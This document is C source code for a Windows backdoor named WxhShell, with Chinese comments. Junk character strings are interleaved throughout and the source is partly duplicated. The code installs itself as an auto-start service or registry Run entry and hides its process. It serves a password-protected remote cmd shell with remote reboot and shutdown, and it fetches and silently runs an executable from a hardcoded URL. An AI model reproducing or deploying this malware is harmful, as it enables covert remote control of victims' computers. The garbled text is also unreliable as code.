I! char cmdline[]="cmd"; )q8!:Z CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); OL2 b return 0; /[FES78p } ,zP.ch0K {0~xv@ U // 自身启动模式 m"|AD/2;( int StartFromService(void) 8q"C=t7 { te*|>NRS typedef struct B/^1uPTZ71 { &Sr7?u`k DWORD ExitStatus; U4.-{. DWORD PebBaseAddress; Kqn{q4L DWORD AffinityMask; -qDM(zR DWORD BasePriority; 9*ek5vPB ULONG UniqueProcessId; |PaVb4j ULONG InheritedFromUniqueProcessId; {[[j .) } PROCESS_BASIC_INFORMATION; !uxma~ZH- A.|98*U% PROCNTQSIP NtQueryInformationProcess; z]V%&f r;"uk+{i static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0kiV-yc static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ij_h #f c`M
,KXott HANDLE hProcess; 3;F+.{Icc PROCESS_BASIC_INFORMATION pbi; F8*zG 4/& xC5`|JW HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); + 2j] if(NULL == hInst ) return 0; [$]Kp9YD g-NfZj? g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 92";?Xk g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); fnJ!~b*qo NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); YsBOh{Ml "3H?_!A9 if (!NtQueryInformationProcess) return 0; wc~k4B9" ][[\!og hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >$/PfyY7@# if(!hProcess) return 0; |WUm;o4E`U ln&9WF\I if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3x6@::s~ AfaoFn+ CloseHandle(hProcess); Z{p62|+Ck@ {{+woL'C hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;p] f5R^ if(hProcess==NULL) return 0; >VE!3' /' J12hjzk6@ HMODULE hMod; K."h}f95 char procName[255]; g>&b&X&Y_ unsigned long cbNeeded; QP={b+8 YYi:d=0<SO if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eN Y? cpJ(77e CloseHandle(hProcess); ?]Wg{\NC6 =.9uuF: if(strstr(procName,"services")) return 1; // 以服务启动 E==vk~cz IuOY.c2.u return 0; // 注册表启动 qs
0'}> } w`a(285s)i iL\eMa // 主模块 <`Q*I
Y int StartWxhshell(LPSTR lpCmdLine) QBwgI>zfS" { j{ :>"6 SOCKET wsl; _N2tf/C&= BOOL val=TRUE; -A3>+G3[ int port=0; Y?b4* me struct sockaddr_in door; @`S8d%6P sncc DuS if(wscfg.ws_autoins) Install(); dZi?Z !tckE\ h#N port=atoi(lpCmdLine); 1XD|H_JG<j TxDzGC if(port<=0) port=wscfg.ws_port; kE*OjywN QmRE<i WSADATA data; XL2iK) A if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;
#->#mshd4 zSM;N^X 8? if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; (Tbw@BFk setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5:6]ZFW door.sin_family = AF_INET; @,%IVKg\ door.sin_addr.s_addr = inet_addr("127.0.0.1"); 18{" @<wIs door.sin_port = htons(port); o9 g0fC |-!
yKB if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Im0 #_
\ closesocket(wsl); *j/[5J0'M return 1; ~K-_]*[x } 4Px Q?7:XbN if(listen(wsl,2) == INVALID_SOCKET) { +~] :oj closesocket(wsl); GT(nW|v return 1; jn/
J-X= } f6O5k8n Wxhshell(wsl); qTd6UKg WSACleanup(); 7]&ouT b :J$ return 0; HaiaDY) CDRkH)~$ } TexSUtx@$ g#b uy // 以NT服务方式启动 MDqUl:] VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Qin;{8I0 { [bIR$c[G DWORD status = 0; S`v+rQjW DWORD specificError = 0xfffffff; A=a~ [vre -|\SNbPTV serviceStatus.dwServiceType = SERVICE_WIN32; *M^t@ h l serviceStatus.dwCurrentState = SERVICE_START_PENDING; InCo[ 8SI serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; LjOHlT' serviceStatus.dwWin32ExitCode = 0; di,?` serviceStatus.dwServiceSpecificExitCode = 0; Xj+oV serviceStatus.dwCheckPoint = 0; n>-"\cjV serviceStatus.dwWaitHint = 0; ^+)q@{\8Y Gi*GFv%xB hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wEp*j+Mmce if (hServiceStatusHandle==0) return; ZUiInO X&+*?Q^ status = GetLastError(); `*to(
) if (status!=NO_ERROR) <xpHlLc { xO nW~Z serviceStatus.dwCurrentState = SERVICE_STOPPED; ( /): serviceStatus.dwCheckPoint = 0; ``j8T[g serviceStatus.dwWaitHint = 0; `x'vF# serviceStatus.dwWin32ExitCode = status; z')zVoW, serviceStatus.dwServiceSpecificExitCode = specificError; /H m),9NN SetServiceStatus(hServiceStatusHandle, &serviceStatus); v?S~ =$. return; _8;)J } #{]Yw}m UvPD/qu$8D serviceStatus.dwCurrentState = SERVICE_RUNNING; 3Q-[)Z ) serviceStatus.dwCheckPoint = 0; 28rC>*+z serviceStatus.dwWaitHint = 0; |DZ3=eWZ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w6w'Jx } FA#?+kd ! !9l@ // 处理NT服务事件,比如:启动、停止 V`;$Ua;y VOID WINAPI NTServiceHandler(DWORD fdwControl) {?zbrgQ<Z { 7=gv4arRwt switch(fdwControl) rt5eN:'qY { ^3:y<{J case SERVICE_CONTROL_STOP: #Lq{_Y serviceStatus.dwWin32ExitCode = 0; *[MK{m serviceStatus.dwCurrentState = SERVICE_STOPPED; !o k6*m serviceStatus.dwCheckPoint = 0; Gd08RW serviceStatus.dwWaitHint = 0; m=7Z8@sX}, { vKCgtk SetServiceStatus(hServiceStatusHandle, &serviceStatus); J|D$ } ZKT~\l return; yavoGk case SERVICE_CONTROL_PAUSE: 5?()o}VjAO serviceStatus.dwCurrentState = SERVICE_PAUSED; 3-T}8VsiP break; 9*lkx# case SERVICE_CONTROL_CONTINUE: 5_}e?T&s serviceStatus.dwCurrentState = SERVICE_RUNNING; !Ui"<0[, break; %j*i= case SERVICE_CONTROL_INTERROGATE: :?}U Z# break; l*+5WrOS }; _P]!J~$5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZJ7<!?6 } P4~=_Hh ggR--`D[ // 标准应用程序主函数 .{@aQwN int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0/F/U=Z! { sivd@7r\Fa p@se
5~ // 获取操作系统版本 ra'h\m OsIsNt=GetOsVer(); m<cvx3e GetModuleFileName(NULL,ExeFile,MAX_PATH); I
)LO@ mm5y'=# // 从命令行安装 3nJd0E if(strpbrk(lpCmdLine,"iI")) Install(); U=G^wL H"g$qSx // 下载执行文件 +-B`Fya if(wscfg.ws_downexe) { nvdo|5 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A,2dK}\> WinExec(wscfg.ws_filenam,SW_HIDE); {#c**' 4 } (DW[#2\. ZSu0e% if(!OsIsNt) { xq2
,S // 如果时win9x,隐藏进程并且设置为注册表启动 DrTo")T HideProc(); XazKS4( StartWxhshell(lpCmdLine); ?5oeyBA@ } }uTe(Rf else jr9/ if(StartFromService()) JvZNr?_w% // 以服务方式启动 JrkjfoN StartServiceCtrlDispatcher(DispatchTable); D3>;X= 1 else j+_pF<$f: // 普通方式启动 4&+;n[ D StartWxhshell(lpCmdLine); B: pIzCP 2+Tu"oG;rB return 0; 0{O|o_ } E|aPkq]
1M4I7*r ]757oAXl nv9kl Q@ =========================================== ;BR`}~m sPee"9%, }5)sS}C SgOn:xg;3L o~*5FN}%+l 'Si1r%'m# " :.+?v*%;n aFj)s?$4]K #include <stdio.h> BK_x5mGu3 #include <string.h> #jja#PF]7 #include <windows.h> O-M4NKl]6 #include <winsock2.h> \(C_t1 #include <winsvc.h> ]/p)XHKo #include <urlmon.h> osJ;"B36 r`THOj\cM #pragma comment (lib, "Ws2_32.lib") j|u6TG #pragma comment (lib, "urlmon.lib") NTHy!y<!h _Vs\:tygs #define MAX_USER 100 // 最大客户端连接数 Nz,8NM] #define BUF_SOCK 200 // sock buffer +U%U3tAvs #define KEY_BUFF 255 // 输入 buffer H@uCbT ?}N@bsl08w #define REBOOT 0 // 重启
zai x_mR #define SHUTDOWN 1 // 关机 zlh}8Es m,~
@1 #define DEF_PORT 5000 // 监听端口 `z=I}6){ ml|[xM8 #define REG_LEN 16 // 注册表键长度 AU@XpaPWh #define SVC_LEN 80 // NT服务名长度 2#n4t2p [S}o[v\ // 从dll定义API e6n^l$' typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _%)v9}D typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [>'P typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]Y3|*t(\ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); LN8V&'> rf% E+bh4 // wxhshell配置信息 ,Z7tpFC struct WSCFG { ?s<'3I{F` int ws_port; // 监听端口 dnby &-+T char ws_passstr[REG_LEN]; // 口令 g2=5IU< int ws_autoins; // 安装标记, 1=yes 0=no LDJ=<c! char ws_regname[REG_LEN]; // 注册表键名 fR>(b?C char ws_svcname[REG_LEN]; // 服务名 ldJ:A*/M6 char ws_svcdisp[SVC_LEN]; // 服务显示名 V 4RtH char ws_svcdesc[SVC_LEN]; // 服务描述信息 JZ[~3swR char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QOECpk- int ws_downexe; // 下载执行标记, 1=yes 0=no 3q=A35*LT> char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w,\#)<boyb char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5N:THvh6o L`yyn/2> }; y7I')}SC |]5g+sd // default Wxhshell configuration V}#2pP struct WSCFG wscfg={DEF_PORT, H4HWr6 "xuhuanlingzhe", fz`+j
-u 1, pcM'j#; "Wxhshell", <t{T]i+ "Wxhshell", v'C`;I "WxhShell Service", !O=J8;oLk "Wrsky Windows CmdShell Service", Wmp,,H "Please Input Your Password: ", FDB^JH9d 1, nj*B-M\p "http://www.wrsky.com/wxhshell.exe", H1PW/AW "Wxhshell.exe" Z6}B}5@y }; $Nr :YI ~;Ga65_6_ // 消息定义模块 ! K~PH char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "YlN_U char *msg_ws_prompt="\n\r? for help\n\r#>"; ,zy4+GW char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .[1"Med J char *msg_ws_ext="\n\rExit."; Kq|L:Z char *msg_ws_end="\n\rQuit."; y ?FKou' char *msg_ws_boot="\n\rReboot..."; S6 F28 d[j char *msg_ws_poff="\n\rShutdown..."; nn@"68]g char *msg_ws_down="\n\rSave to "; N\IdZX%u %3 ecV$ char *msg_ws_err="\n\rErr!"; 8>TDrpT} char *msg_ws_ok="\n\rOK!"; &p1Et 9-DDly [)4 char ExeFile[MAX_PATH]; $cri"G int nUser = 0; }>cQ}6n. HANDLE handles[MAX_USER]; sKhX0,s& int OsIsNt; K9FtFd Vcg$H8m SERVICE_STATUS serviceStatus; gqaENU> SERVICE_STATUS_HANDLE hServiceStatusHandle; P`HE3?r -Cxk#-sb# // 函数声明 n&=3Knbd@d int Install(void); lvi~GZ int Uninstall(void); ;T! mNKl int DownloadFile(char *sURL, SOCKET wsh); NZ`( d int Boot(int flag); d%Zt]1$ void HideProc(void); 7d?'~}j int GetOsVer(void); w!7f* int Wxhshell(SOCKET wsl); ?]}1FP void TalkWithClient(void *cs); xBhfC!AK} int CmdShell(SOCKET sock); e2Sudd=' G int StartFromService(void); 9l?#ZuGXp int StartWxhshell(LPSTR lpCmdLine); O $uXQ.r B:=*lU.n VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); . gK*Jpmx VOID WINAPI NTServiceHandler( DWORD fdwControl ); s@C@q(i6 i,BE]w // 数据结构和表定义 IZczHHEL`b SERVICE_TABLE_ENTRY DispatchTable[] = Z
4uft { $u`y {wscfg.ws_svcname, NTServiceMain}, zqg4@"
p {NULL, NULL} y&NO[ }; 95;q] =U |1H"ya // 自我安装 h_4o4# int Install(void) 4,kT4_&, { 08&DP^NS char svExeFile[MAX_PATH]; N^A&DrMF HKEY key; )/h~csy:~ strcpy(svExeFile,ExeFile); $D8eCjUm \D] N* // 如果是win9x系统,修改注册表设为自启动 s5>=!yX if(!OsIsNt) { `d,hP"jBc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dOArXp`s RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +1Oi-$
2- RegCloseKey(key); ?<\K!dA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wn[q?|1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k/W$)b:Of` RegCloseKey(key); 6;U]l. return 0; 4f<%<Z } \3(d$_:b } {w.rcObIw+ } iCCY222: else { +5Yc/Qp 2~+_T // 如果是NT以上系统,安装为系统服务 |?0Cm|? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A,rgN;5fb if (schSCManager!=0) 2-i>ymoOS { b(dIl)Y4
: SC_HANDLE schService = CreateService ?fDF Rms ( |l(rR06#.] schSCManager, s8.O L_e wscfg.ws_svcname, LbDhPG`u wscfg.ws_svcdisp, @a)
x^d SERVICE_ALL_ACCESS, |D%i3@P&ZR SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !.mMO_4} SERVICE_AUTO_START, VL"!.^'c SERVICE_ERROR_NORMAL, "; tl>Ot svExeFile, > bWsUG9 NULL, >}h/$bU NULL, ,JyE7h2%i NULL, ce&)djC7U NULL, 1 ry:Z2 NULL 09`5<9/ ); DYJ@>8 if (schService!=0) &GcWv+p { TjGe8L: CloseServiceHandle(schService); LX[J6YKR CloseServiceHandle(schSCManager); EO$_]0yI;_ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $;Lb|~ strcat(svExeFile,wscfg.ws_svcname); Lz2 AWqR if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &*RJh'o|N( RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =YkJS%)M) RegCloseKey(key); d paZ6g return 0; 2`/JT } wy"^a45h } ET1/oG<@ CloseServiceHandle(schSCManager); I&qT3/SVI } Ce}wgKzr } 0\O*\w? 6*Jd8Bva\o return 1; >l{<p( } :;\>jxA (L_txd4 // 自我卸载 #>dfP"}&, int Uninstall(void) gbM#jhQ { 'WkDpa HKEY key; 'n%Ac&kk 7(lR$,bE;= if(!OsIsNt) { q[1:h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \2)a.2mAz RegDeleteValue(key,wscfg.ws_regname); Gd1%6}<~ RegCloseKey(key); Z{7lyEzBg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;AK;% RegDeleteValue(key,wscfg.ws_regname); g2.%x \d RegCloseKey(key); 7!.%HhU0 return 0; 7$'%*|C. } $w`QQ^\ } NJSzOL_ } sF^3KJ| else { 7$x~}*u %m1k^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); LGZ5py=xb if (schSCManager!=0) (-DA% { (nfra,' SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \9dSI if (schService!=0) u}hQF$a" { }2-<}m9} if(DeleteService(schService)!=0) { O=
PFr" CloseServiceHandle(schService); #+p30?r0y CloseServiceHandle(schSCManager); 0{g @j{Lbz return 0; I^sWf3'db } YG$2ySkDhE CloseServiceHandle(schService); "&%:
9O } 5*~Mv<# CloseServiceHandle(schSCManager); $8h^R# } }C.M4{a\ } W@v@|D@ 8WK%g0gm return 1; WJCEiH } xcr=AhqM @gc lks/M // 从指定url下载文件 ~fB}v int DownloadFile(char *sURL, SOCKET wsh) _,(]T&j #2 { 3UgusH3 HRESULT hr; epp ;~(xr char seps[]= "/"; w-\U;&8 char *token; 3 G/#OJ char *file; DG}YQr.L char myURL[MAX_PATH]; 4$J:A~2H] char myFILE[MAX_PATH]; =A&x
d" /WXy!W30< strcpy(myURL,sURL); FU/yJy token=strtok(myURL,seps); ",	 while(token!=NULL) Va,M9)F { CPc<!CC file=token; }c(".v# token=strtok(NULL,seps); zlzr;7m } N8|=K_;& hM\<1D
CKG GetCurrentDirectory(MAX_PATH,myFILE); CLU !/J$! strcat(myFILE, "\\"); 0 (jb19 strcat(myFILE, file); 2)]C' send(wsh,myFILE,strlen(myFILE),0); x"h0Fe?J send(wsh,"...",3,0); :" Q!Q@> hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); dk~ h if(hr==S_OK) 0mo^I==J1 return 0; D(xgadr else uP/PVoKQ return 1; Vzf{gr? O~F/{:U } |$@/
Z+ WLGx=
; // 系统电源模块 _l,?Y;OF int Boot(int flag) :UMg5eZ { *%_:[> HANDLE hToken; .kh%66: TOKEN_PRIVILEGES tkp; (yQ]n91 Q, JmdXh/X if(OsIsNt) { Okm&b g OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K_j$iHqLF LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <(W0N|1v tkp.PrivilegeCount = 1; "GoNTM5h tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qCK)FOU AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [ C d"@!yA if(flag==REBOOT) { ^ a%U *>P if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M"[s5=:Lo return 0; B% !z7AT } 2zR*`9$ else { J7X-=E D if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1 Y_e1tgmm return 0; =$601r } p%e!&:! } RP'`\||* else { u%?u`n2' if(flag==REBOOT) { e"(l if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5zG6V2 return 0; Vt{C80n&N } !
{lcF% else { 2%\Nq:;T if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Jhu<^pjs return 0; _l]`Og@Y } <K!5N&vh } F4X/ )$Dk 'TpW-r: return 1; aVvi_cau } p'1n'|$e E 5}T_~-{ // win9x进程隐藏模块 )3v0ex@Jl void HideProc(void) *0M#{HQ { 8[5%l7's *9e T#dH HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); AfW63;kH if ( hKernel != NULL ) 8=ubMqr[ { !J!zi pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1)
V,>)Ak ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y'"2s~_
Z FreeLibrary(hKernel); h-h U=I8 } hKjvD.6]% 6'ye-}vD- return; WmLl.Vv= } awuUaE Zy@35;r // 获取操作系统版本 %Q"zU9 int GetOsVer(void) 0?l|A1I% { ,pir,Eozg OSVERSIONINFO winfo; j~c7nWfX winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jzV*V< GetVersionEx(&winfo); !3Fj`Oh if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W+PAlsOC return 1; */xI#G,O+
else e3YZ-w^W~h return 0; VHVU*6_w } <K:?<F b6_*ljM // 客户端句柄模块 ncJ}h\:Sk int Wxhshell(SOCKET wsl) zNRoFz. { (u85$_C SOCKET wsh; K1uN(T.Ju struct sockaddr_in client; 6,M>' s,N DWORD myID; ==(9P`\ 7|PpAvMF while(nUser<MAX_USER) #G{}Rd|! { gVCkj!{ int nSize=sizeof(client); ||hy+f[A wsh=accept(wsl,(struct sockaddr *)&client,&nSize); JGt4B if(wsh==INVALID_SOCKET) return 1; V`~$|
K[ /tA$'tZ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M]!\X6<_ if(handles[nUser]==0) w<j6ln+nM closesocket(wsh); ;+K:^*oJ else kac@yQD nUser++; 6}R^L(^M } vrn IEur WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); TveCy & H? N!F7s return 0; ]7zDdI|
} &q1(v3cOO cRz7.9-< // 关闭 socket 5R4h9D5 void CloseIt(SOCKET wsh) x(3E#7>1 { /MTS>[E closesocket(wsh); i\2MphS nUser--; U
jVo "K ExitThread(0); 2N)=fBF%- } qfE/,L(B %^^2 // 客户端请求句柄 ZA>hN3fE' void TalkWithClient(void *cs) ttLChL { -Qo`UL.} dW;{,Q SOCKET wsh=(SOCKET)cs; X;sl?8HG!< char pwd[SVC_LEN]; `Q1T-H_ char cmd[KEY_BUFF]; #!h:w char chr[1]; ^R1
nOo/ int i,j; \A:m<:: al=Dy60|z while (nUser < MAX_USER) { bj(U?$ eJE?H] if(wscfg.ws_passstr) { 2f`u?T if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gm8L5c
V //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BMU~1[r //ZeroMemory(pwd,KEY_BUFF); ~FH''}3:3 i=0; X55Eemg/ while(i<SVC_LEN) { `j[)iok v"O{5LM" // 设置超时 _]1dm)% fd_set FdRead; `kyr\+hp struct timeval TimeOut; =Xm
[ FD_ZERO(&FdRead); 9g>]m6 FD_SET(wsh,&FdRead); xZtA) Bp TimeOut.tv_sec=8; 6VolTy@(x TimeOut.tv_usec=0; cg7NtY int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f'Wc_L) if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sBS\S T_6,o[b8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &of%;>$>M pwd=chr[0]; Mp?Ev. if(chr[0]==0xd || chr[0]==0xa) { m^U\l9LE pwd=0; )8ctNpQt break; b'Z#RIb } _.J{U0N i++; ^w^cYM, } ")ow,r^" )<DL' // 如果是非法用户,关闭 socket J[L$8y: if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Mb3,! } +%eMm.( ,V)yOLApVj send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vkE6e6,Qc send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "<3PyW?zt ^O#,%>1J while(1) { y2\, L [HtU-8: ZeroMemory(cmd,KEY_BUFF); q ]rsp0P2 +F&w~UT // 自动支持客户端 telnet标准 |GL#E"[&' j=0; {\`#,[ while(j<KEY_BUFF) { 5LhFD if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hc>hNC:a cmd[j]=chr[0]; >T.U\,om7 if(chr[0]==0xa || chr[0]==0xd) { e.\d7_T+ cmd[j]=0; Hh$D:ZO break; |g> K$m^ } [@#P3g\:>W j++; I6YN&9Y } ],>Z'W $tj[* // 下载文件 wi:]o o# if(strstr(cmd,"http://")) { RFDwL~-p send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;.!AX|v if(DownloadFile(cmd,wsh)) ?&)<h_R4p send(wsh,msg_ws_err,strlen(msg_ws_err),0); nEQw6q~je else }_3<Q\j send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DDN#w<# } z^{VqC*o+ else { 7O;v5k~iQ u_e}m>[S switch(cmd[0]) { *<xEM- oVb6,Pn // 帮助 ]^VC@$\)+ case '?': { zvdtP'&uj send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~(-B%Az break; rh${pHl } vov"60K // 安装 -2K`:}\y& case 'i': { 9w}A7(' if(Install()) 8D)*~C'85E send(wsh,msg_ws_err,strlen(msg_ws_err),0); -HP [IJP else \2:
JX?Jw! send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 53=s'DZ break; I Vq9z } _yJd@ // 卸载 @/`b:sv&* case 'r': { <{9E.6G`n if(Uninstall()) [US.n+G6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); fwf]1@# else ;l &mA1+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OY51~#BF break; 'd|_ i6:y& } jv5p_v4%O // 显示 wxhshell 所在路径 u(\b1h n case 'p': { _E:]qv char svExeFile[MAX_PATH]; . AWRe1? strcpy(svExeFile,"\n\r"); v\c.xtjI5x strcat(svExeFile,ExeFile); bMxzJRrNg send(wsh,svExeFile,strlen(svExeFile),0); B+*F?k[ break; 8D;>] > } ]EE}ax%#aq // 重启 :?U1^!$$1 case 'b': { 1
BAnf9
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y2TJDb1 if(Boot(REBOOT)) PC7U&*x@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); *'QD!Tc else { @Ej{sC!0T closesocket(wsh); z./u;/: ExitThread(0); #Ji&.T^U/ } ]GJIrtS4 break; 71@V|$Dy } +smPR // 关机 ^$6EO)< case 'd': { )C<c{mjk( send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qI)
Yzc/ if(Boot(SHUTDOWN)) T,!?+# send(wsh,msg_ws_err,strlen(msg_ws_err),0); JyjS#BWi else { [q?{e1 closesocket(wsh); QApil ExitThread(0); ]p `#KVW } =eDVgOZ) break; /V2Ih } mG1=8{o^ // 获取shell bEMD2ABm case 's': { mPi4.p) CmdShell(wsh); ES(b#BlrP/ closesocket(wsh); bs
kG!w ExitThread(0); -nV]%vJ$R} break; :&/'rMi<T } ,~hvFTJI // 退出 =CFO]9 case 'x': { |/Ggsfmby send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }<[@)g.h. CloseIt(wsh); @tM1e< break; bvUjH5.7 } GghZ".O // 离开 v<ASkkh> case 'q': { h&{9 &D1t send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,*+F*:o(m closesocket(wsh); [as\>@o WSACleanup(); ]KA|};>ow exit(1); %S.
_3`A break; <2fZYt vt } %{Kp#R5E } .Qyq*6T3& } w+fsw@dK& 4@u*#Bp`| // 提示信息 Ty}'A(U if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :3gtc/p t> } 2>Xgo% } *_}ft-*w Ovq-rI{ return; A%-*M 'J } z|Q)^ 0B>hVaj>- // shell模块句柄 @dvlSqm) int CmdShell(SOCKET sock) 2y>~<S { c/jU+,_g STARTUPINFO si; "iMuA ZeroMemory(&si,sizeof(si)); %d c=QSL si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dzjp,c@ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \'xF\V PROCESS_INFORMATION ProcessInfo; /vYuwaWG= char cmdline[]="cmd"; l:-$ulAx CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \xlelsmB* return 0; XT9]+b8(M } Sp]"Xr) ,,sKPj[ // 自身启动模式 <~X4&E]rT_ int StartFromService(void) )[C]1N=tK { 9{RCh9 typedef struct _ho9}7 > { :XC~G&HuF6 DWORD ExitStatus; Cvry8B DWORD PebBaseAddress; UMILAoR DWORD AffinityMask; bBk_2lg=4) DWORD BasePriority; 4@AY~"dq ULONG UniqueProcessId; i%_W{;e ULONG InheritedFromUniqueProcessId; pZ,=iqr } PROCESS_BASIC_INFORMATION; uZL,+Ce| E#[_"^n PROCNTQSIP NtQueryInformationProcess; 2F%2K?$`Ej sG7G$G*ta! static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1xP* static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ngi]I#Vz 2w_[c. HANDLE hProcess; O`j1~o<{ PROCESS_BASIC_INFORMATION pbi; wW
EnAW~ <tXk\cOg HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t1}R#NB if(NULL == hInst ) return 0; "
